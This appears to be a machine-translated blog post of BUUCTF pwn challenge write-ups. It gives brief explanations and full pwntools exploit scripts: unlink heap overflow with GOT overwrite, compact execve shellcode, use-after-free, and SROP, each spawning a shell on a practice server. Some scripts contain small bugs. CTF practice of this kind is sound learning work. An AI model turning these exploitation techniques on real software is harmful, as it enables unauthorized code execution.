当前位置:网站首页>buuctf-pwn write-ups (9)
buuctf-pwn write-ups (9)
2022-07-05 18:08:00 【L3H_ CoLin】
buu067-hitcon2014_stkof
Simple analysis found that the program opened a large array in bss In the paragraph , You can apply for many, many blocks , And then in bss Segments save their addresses . This problem cannot print valid information , But it can produce heap overflow of any length , Therefore, consider the way of utilization :unlink.
Please refer to : my unlink note
After debugging, we found that ,unlink Can be done .
We can then bss The address in the segment is changed to got Table address , And then got In the table free The address of the function is rewritten as printf Of plt Address , In this way, we can read any address . Read libc Address and then free.got Change it to system Address , Release a being ’/bin/sh’ Of chunk that will do .
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27603)
elf = ELF('./pwn')
chunks = 0x602140
def add_chunk(size):
io.sendline(b'1')
io.sendline(str(size).encode())
def write_chunk(index, size, content):
io.sendline(b'2')
io.sendline(str(index).encode())
io.sendline(str(size).encode())
io.send(content)
def delete_chunk(index):
io.sendline(b'3')
io.sendline(str(index).encode())
def feedback(index):
io.sendline(b'4')
io.sendline(str(index).encode())
add_chunk(0x80) # chunk 0
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 1
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 2
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 3
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 4
io.recvuntil(b'OK\n')
payload = p64(0x10)
payload += p64(0x81)
payload += p64(chunks + 8*2 - 0x18)
payload += p64(chunks + 8*2 - 0x10)
payload += cyclic(0x60)
payload += p64(0x80)
payload += p64(0x90)
write_chunk(2, 0x90, payload)
io.recvuntil(b'OK\n')
delete_chunk(3)
io.recvuntil(b'OK\n')
write_chunk(2, 0x10, p64(0) + p64(elf.got['free']))
io.recvuntil(b'OK\n')
write_chunk(0, 0x8, p64(elf.plt['printf']))
io.recvuntil(b'OK\n')
write_chunk(2, 0x10, p64(0) + p64(elf.got['puts']))
io.recvuntil(b'OK\n')
delete_chunk(0)
puts = u64(io.recv(6) + b'\x00\x00')
print(hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
write_chunk(2, 0x10, p64(0) + p64(elf.got['free']))
io.recvuntil(b'OK\n')
write_chunk(0, 0x8, p64(sys))
io.recvuntil(b'OK\n')
write_chunk(4, 0x7, b'/bin/sh')
delete_chunk(4)
io.interactive()
buu068-ciscn_2019_s_9
shellcode topic , Can only write 49 Bytes .( Be careful fgets The characteristic of function is that the last byte must be zero byte .)
We use shellcraft.sh() The function view pwntools Generated for us shellcode, It is found that there are 44 Bytes . Pay attention to what we write 49 The... In bytes 36~40 Bytes are the return address , Don't move at will .
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
Above is shellcode Assembly code for . We try to shorten the length of this code .
Because there is no limit on zero byte input in this question , So we can simplify the following two behaviors push 0x6873
push 0x1010101
xor dword ptr [esp], 0x1016972
After simplification , The machine code length of the remaining part is 36 byte , Just before the return address can be filled 36 byte .
And for the latter 9 Bytes , First, we need to lower esp, prevent shellcode Be overwritten :sub esp, 0x100;, This instruction accounts for 6 byte . also 3 Bytes are enough for us to make a short transfer .
stay asm Functions such as... Are not allowed jmp short ptr 0x40; Such instructions , It can only be written by label jmp Instructions . But through analysis jmp The structure of instructions is not difficult to find ,jmp Short transfer instructions account for 2 byte , The first 1 Bytes fixed to 0xed, The second byte is the transfer offset , That is, the offset position from this command . If in 0x100000 There's a line jmp 0x40 Instructions , The address it jumps to is :0x100042, Because the offset is calculated from the back of this instruction , That is to say 0x100002 Calculate the offset for the datum . From this, we can calculate that the offset of the transfer should be -48, Turn to signed 8 Bit binary number is 0xD0. So our shellcode Structure is : front 36 bytes shellcode;37~40 Byte is the return address (jmp esp The address of );41~46 bytes sub esp, 0x100; Instructions ;47~48 bytes jmp short ptr -48; Instructions , This can be done in esp Execute immediately after reduction shellcode. our 49 A byte uses 48 Bytes .
from pwn import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 28012)
elf = ELF('./pwn')
shellcode = 'push 0x68;' \
'push 0x732f2f2f;' \
'push 0x6e69622f;' \
'mov ebx, esp;' \
'push 0x6873;' \
'xor ecx, ecx;' \
'push ecx;' \
'push 4;' \
'pop ecx;' \
'add ecx, esp;' \
'mov ecx, esp;' \
'xor edx, edx;' \
'push SYS_execve;' \
'pop eax;' \
'int 0x80;' \
payload = asm(shellcode)
payload += p32(0x8048554)
payload += asm('sub esp, 0x100;') # 6 bytes
payload += b'\xeb\xD0' # jmp short ptr -48
print(len(payload))
print(payload)
io.sendline(payload)
io.interactive()
buu069-pwnable_hacknote
Conventional stack arrangement , Did not release the pointer , You can use UAF Apply to one chunk Control head , Then rewrite the pointer inside to call print When performing other functions .

Each application will apply for the above structure and a string chunk. Apply for two chunk The size is 0x20 Structure , Then release , Apply for another chunk The size is 0x8 The structure of can control the control structure of a previously released structure ( That is, the structure above ).print_func Immobility , Change the print address to got Table access libc Address , Then release the reallocation , hold print_func Change to system Address , Put it on the back ’||sh’ To execute system(‘sh’).( The front part is system The address cannot be executed , Add || Enables the execution of the following )
from pwn import *
from LibcSearcher import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26342)
elf = ELF('./pwn')
def add(size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Note size :', str(size).encode())
io.sendafter(b'Content :', content)
def delete(index):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(index).encode())
def print(index):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(index).encode())
add(0x20, b'/bin/sh')
add(0x20, b'colin')
delete(0)
delete(1)
add(0x8, p32(0x804862B) + p32(elf.got['puts']))
print(0)
puts = u32(io.recv(4))
print(hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')\
delete(2)
add(0x8, p32(sys) + b'||sh')
print(0)
io.interactive()
buu070-picoctf_2018_shellcode
from pwn import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27164)
elf = ELF('./pwn')
io.sendline(asm(shellcraft.sh()))
io.interactive()
buu071-ciscn_2019_es_7
Together SROP The subject of , Be familiar with the script SROP Mode of construction . The address of the stack in this question is obtained through experiment , A stack address can be revealed later , The value is the starting address of the input string +0x118, Calculate the stack address accordingly .
Pay attention to... In the script flat Method is used to frame Convert to bytes , Out of commission str function , Otherwise, the original 1 Bytes ’\x00’ Will be converted to 4 Bytes ’\x00’.
from pwn import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27845)
elf = ELF('./pwn')
movrax_3B_ret = 0x4004e2
movrax_F_ret = 0x4004DA
syscall = 0x400517
payload = cyclic(0x10)
payload += p64(0x4004ED)
io.sendline(payload)
io.recv(0x20)
stack_addr = u64(io.recv(8)) - 0x118
print(hex(stack_addr))
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(movrax_F_ret)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload += flat(frame)
io.send(payload)
io.interactive()
buu072-jarvisoj_level5
Same as 36 topic , The script doesn't have to change .
边栏推荐
猜你喜欢

nacos -分布式事务-Seata** linux安装jdk ,mysql5.7启动nacos配置ideal 调用接口配合 (保姆级细节教程)

“12306” 的架构到底有多牛逼?

第十一届中国云计算标准和应用大会 | 云计算国家标准及白皮书系列发布 华云数据全面参与编制

RSE2020/云检测:基于弱监督深度学习的高分辨率遥感图像精确云检测

破解湖+仓混合架构顽疾,星环科技推出自主可控云原生湖仓一体平台

Leetcode daily question: merge two ordered arrays

图像分类,看我就够啦!

ConvMAE(2022-05)

Huaxia Fund: sharing of practical achievements of digital transformation in the fund industry

Unicode processing in response of flash interface
随机推荐
瀚升优品app翰林优商系统开发功能介绍
【pm2详解】
多线程(一) 进程与线程
[BeanShell] there are many ways to write data locally
Privacy computing helps secure data circulation and sharing
LeetCode笔记:Weekly Contest 300
Isprs2022 / Cloud Detection: Cloud Detection with Boundary nets Boundary Networks Based Cloud Detection
[paddleclas] common commands
Binder开辟线程数过多导致主线程ANR异常
GIMP 2.10教程「建议收藏」
matlab内建函数怎么不同颜色,matlab分段函数不同颜色绘图
最大人工岛[如何让一个连通分量的所有节点都记录总节点数?+给连通分量编号]
Multithreading (I) processes and threads
Tencent music launched its new product "quyimai", which provides music commercial copyright authorization
ClickHouse(03)ClickHouse怎么安装和部署
Neural network self cognition model
Le cours d'apprentissage de la machine 2022 de l'équipe Wunda arrive.
修复漏洞 - mysql 、es
"Xiaodeng in operation and maintenance" is a single sign on solution for cloud applications
Career advancement Guide: recommended books for people in big factories